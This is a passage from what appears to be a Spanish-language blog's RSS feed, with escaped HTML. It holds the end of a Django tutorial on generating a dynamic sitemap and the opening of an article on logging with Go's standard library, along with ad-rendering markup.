class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# settings.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;SITE_ID &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;INSTALLED_APPS &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; (&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;django.contrib.sites&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;django.contrib.sitemaps&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Como Django lleva un registro de los sitios que se manejan con la aplicación en la base de datos, necesitarás correr las migraciones para actualizar la base de datos.&lt;/p&gt;&#xA;&lt;h2 id=&#34;definir-un-sitemap-en-django&#34;&gt;Definir un sitemap en Django&lt;/h2&gt;&#xA;&lt;p&gt;Ahora redirígete a tu aplicación, al mismo nivel que tu archivo &lt;em&gt;models.py&lt;/em&gt; y crea un archivo llamado &lt;em&gt;sitemaps.py&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Dentro de este archivo vamos a heredar una clase de la clase &lt;em&gt;Sitemap&lt;/em&gt; que nos provee Django.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# app/sitemaps.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.contrib.sitemaps &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Sitemap&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; .models &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Videogame&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;VideogameSitemap&lt;/span&gt;(Sitemap):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    changefreq &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;monthly&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    priority &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;0.8&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;items&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; Videogame&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;filter(published&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;True&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;lastmod&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;, obj):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; obj&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;modified&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;items&#34;&gt;items&lt;/h3&gt;&#xA;&lt;p&gt;Sobreescribiendo la función items definiremos el queryset que se usará como base, puedes modificarlo tanto como quieras: particionarlo, limitarlo a atributos de tus objetos o como prefieras.&lt;/p&gt;&#xA;&lt;h3 id=&#34;location&#34;&gt;location&lt;/h3&gt;&#xA;&lt;p&gt;Location se refiere a la url del recurso. Si no definimos un método &lt;em&gt;location&lt;/em&gt;, Django usará el método &lt;em&gt;get_absolute_url&lt;/em&gt; de nuestro modelo para generar.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# sitemaps.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;VideogameSitemap&lt;/span&gt;(Sitemap):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;location&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;, obj):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; obj&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;metodo_personalizado()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;changefreq&#34;&gt;changefreq&lt;/h3&gt;&#xA;&lt;p&gt;Se refiere a la frecuencia con que el contenido cambia. Puedes usar una función para generarlo de manera dinámica de acuerdo a atributos del mismo objeto o dejarlo fijo.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# app/sitemaps.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;VideogameSitemap&lt;/span&gt;(Sitemap):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;changefreq&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;, obj):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;monthly&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;priority&#34;&gt;Priority&lt;/h3&gt;&#xA;&lt;p&gt;Dicta la prioridad del recurso. Es posible usar una función para generar la prioridad de manera dinámica a través de los atributos o cualquier otro flujo que prefieras.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# app/sitemaps.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;VideogameSitemap&lt;/span&gt;(Sitemap):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;priority&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;, obj):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;0.8&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;agregar-un-sitemap-a-las-urls-de-django&#34;&gt;Agregar un sitemap a las urls de Django&lt;/h2&gt;&#xA;&lt;p&gt;Ahora necesitamos agregar la url a nuestro archivo &lt;em&gt;urls.py&lt;/em&gt; del proyecto.&lt;/p&gt;&#xA;&lt;p&gt;La vista que usaremos, llamada &lt;em&gt;sitemap&lt;/em&gt;, nos la provee django y nosotros le pasamos solamente un diccionario que relacione el sitemap que acabamos de crear y se lo pasamos como parámetro.&lt;/p&gt;&#xA;&lt;p&gt;Dentro de la variable sitemaps puedes agregar otros sitemaps para otras aplicaciones.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.contrib.sitemaps.views &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; sitemap&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; videogame.sitemaps &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; VideogameSitemap&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sitemaps &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;videogames&amp;#39;&lt;/span&gt;: VideogameSitemap,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;urlpatterns &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; [&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    path(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;sitemap.xml&amp;#39;&lt;/span&gt;, sitemap, {&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;sitemaps&amp;#39;&lt;/span&gt;: sitemaps},&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        name&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;django.contrib.sitemaps.views.sitemap&amp;#39;&lt;/span&gt;),&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;estableciendo-el-nombre-del-dominio-en-el-sitemap-usando-el-admin-de-django&#34;&gt;Estableciendo el nombre del dominio en el sitemap usando el admin de Django&lt;/h2&gt;&#xA;&lt;p&gt;Si accedemos al sitemap, notarás que la url base de las urls es &lt;em&gt;example.org&lt;/em&gt;, para definir otro necesitamos modificar la base desde el administrador. El formulario se encuentra en &lt;em&gt;/admin/sites/site/&lt;/em&gt;&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/dynamic-sitemap-with-django/images/Django-sitio-sitemap.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/dynamic-sitemap-with-django/images/Django-sitio-sitemap.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Agregar un dominio al sitemap de Django&#34; width=&#34;1291&#34; height=&#34;528&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Modifica el dominio por defecto del sitemap en /admin/sites/site/&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h2 id=&#34;cache-del-sitemap&#34;&gt;Caché del sitemap&lt;/h2&gt;&#xA;&lt;p&gt;Recuerda que, generalmente, cuando estás creando un sitemap de manera dinámica, a partir de cada uno de los objetos de tu base de datos, estás accediendo a la base de datos y recorriendo toda la tabla por completo cada vez que lo generas.&lt;/p&gt;&#xA;&lt;p&gt;Si tu base de datos es muy grande quizás no sea lo más conveniente, recuerda que múltiples bots monitorean el internet múltiples veces al día. Por lo que, dependiendo del tipo de sitio que manejas quizás te convenga guardar el sitemap en la &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/django/cache-en-django-rest-framework-con-memcached/&#34;&gt;caché de Django&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Un sitemap es un archivo de tipo xml que funciona como un mapa para navegar tu sitio. De ahí el nombre; Site (sitio) map (mapa). Los motores de búsqueda, como google, bing, yahoo y otros, usan el sitemap de un sitio como punto de partida para analizar su contenido e incluirlo en sus resultados de búsqueda.&lt;/p&gt;&#xA;&lt;p&gt;Un sitemap bien estructurado es &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/seo/mis-errores-de-optimizacion-en-el-seo-tecnico-al-migrar-de-wordpress/&#34;&gt;crucial en SEO y la presencia de errores puede disminuir radicalmente las vistas de tu sitio web&lt;/a&gt;&#xA;, como me sucedió a mi.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Logging con la librería estándar en Go</title>
      <link>https://coffeebytes.dev/es/go/logging-con-la-libreria-estandar-en-go/</link>
      <pubDate>Wed, 06 Jul 2022 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/go/logging-con-la-libreria-estandar-en-go/</guid>
      
      <category>go</category>
      
      
      
      
      
      <content:encoded>&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;&#xA;  &#xA;    &lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;¿Te suena el nombre de Brian W. Kernighan? ¿Sí? Es el autor de &#39;El libro del lenguaje de programación C&#39;. ¿Sabías que también escribió este libro sobre el lenguaje de programación Go? Si te gustó su estilo, probablemente también disfrutes este libro.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro Lenguaje de programación Go\&#34;,\&#34;imageSrc\&#34;:\&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1740103953/go-programming-language-book_vp91jl.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/41nJIXH\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio del Lenguaje de Programación Go en Amazon\&#34;,\&#34;title\&#34;:\&#34;Dónde aprender Go\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;&#39; : &#39;&#39;) +&#xA;                (ad.link ? &#39;&lt;a href=&#34;&#39; + ad.link + &#39;&#34; target=&#34;_blank&#34; rel=&#34;sponsored nofollow&#34; class=&#34;ad-link-button&#34;&gt;&#39; + (ad.linkText || &#39;Learn More&#39;) + &#39;&lt;/a&gt;&#39; : &#39;&#39;) +&#xA;              &#39;&lt;/div&gt;&#39;;&#xA;            &#xA;            container.appendChild(panel);&#xA;          });&#xA;        }&#xA;&#xA;        &#xA;        document.addEventListener(&#39;DOMContentLoaded&#39;, renderAds);&#xA;        &#xA;        &#xA;        document.addEventListener(&#39;htmx:historyRestore&#39;, renderAds);&#xA;        document.addEventListener(&#39;htmx:afterSettle&#39;, renderAds);&#xA;      })();&#xA;    &lt;/script&gt;&#xA;  &#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .ads-panels-sticky {&#xA;    position: sticky;&#xA;    top: 100px;&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    gap: 16px;&#xA;    z-index: 10;&#xA;  }&#xA;&#xA;  .ad-panel {&#xA;    background: transparent;&#xA;    border-radius: 8px;&#xA;    padding: 16px 36px;&#xA;  }&#xA;&#xA;  .ad-panel:hover {&#xA;    transform: none;&#xA;  }&#xA;&#xA;  .ad-panel-content {&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    align-items: center;&#xA;    text-align: justify;&#xA;  }&#xA;&#xA;  .ad-book-image {&#xA;    width: 100px;&#xA;    height: auto;&#xA;    border-radius: 6px;&#xA;    margin-bottom: 10px;&#xA;    object-fit: cover;&#xA;  }&#xA;&#xA;  .ad-title {&#xA;    font-size: 0.9rem;&#xA;    font-weight: 600;&#xA;    margin: 0 0 6px 0;&#xA;    color: var(--secondary-text);&#xA;    line-height: 1.3;&#xA;  }&#xA;&#xA;  .ad-description {&#xA;    font-size: 0.75rem;&#xA;    color: var(--secondary-text);&#xA;    margin: 0 0 10px 0;&#xA;    line-height: 1.4;&#xA;    display: -webkit-box;&#xA;    -webkit-line-clamp: 2;&#xA;    -webkit-box-orient: vertical;&#xA;    overflow: hidden;&#xA;  }&#xA;&#xA;  .ad-link-button {&#xA;    display: inline-block;&#xA;    padding: 8px 12px;&#xA;    background: #ffa41c;&#xA;    color: #111;&#xA;    text-decoration: none;&#xA;    border-radius: 4px;&#xA;    font-size: 0.8rem;&#xA;    font-weight: 500;&#xA;    transition: background 0.2s ease, opacity 0.2s ease;&#xA;    width: 100%;&#xA;    box-sizing: border-box;&#xA;    text-align: center;&#xA;  }&#xA;&#xA;  .ad-link-button:hover {&#xA;    background: #f08804;&#xA;    opacity: 1;&#xA;  }&#xA;&#xA;  @media (max-width: 768px) {&#xA;    .ads-panels-sticky,&#xA;    .ad-panel,&#xA;    #ads-panels-container {&#xA;      display: none;&#xA;      visibility: hidden;&#xA;      opacity: 0;&#xA;      z-index:1;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 1024px) {&#xA;    .ads-panels-sticky {&#xA;      position: static;&#xA;      flex-direction: row;&#xA;      flex-wrap: wrap;&#xA;      justify-content: center;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 200px;&#xA;      flex: 0 0 auto;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 600px) {&#xA;    .ads-panels-sticky {&#xA;      flex-direction: column;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 100%;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Como seguramente ya sabes, no deberías usar los prints para debuggear. La librería estándar de loggeo  de go es mucho más versátil, añade fechas, nombres de archivo y otra información, además puedes redirigir los logs a la salida estándar, a un archivo o a donde tú quieras. Lo anterior puede volver más ameno tu proceso de debuggeo y &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/go/go-testing-basico-y-coverage/&#34;&gt;tu testing en go&lt;/a&gt;&#xA; más sencillo.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;p class=&#34;message info&#34;&gt;&#xA;    &lt;span&gt;&lt;img width=&#34;60&#34; height=&#34;60&#34; src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1717959563/Go_gopher_favicon_uzxa20.svg&#34; alt=&#34;&#34;&gt;&lt;/span&gt;&#xA;    &lt;a 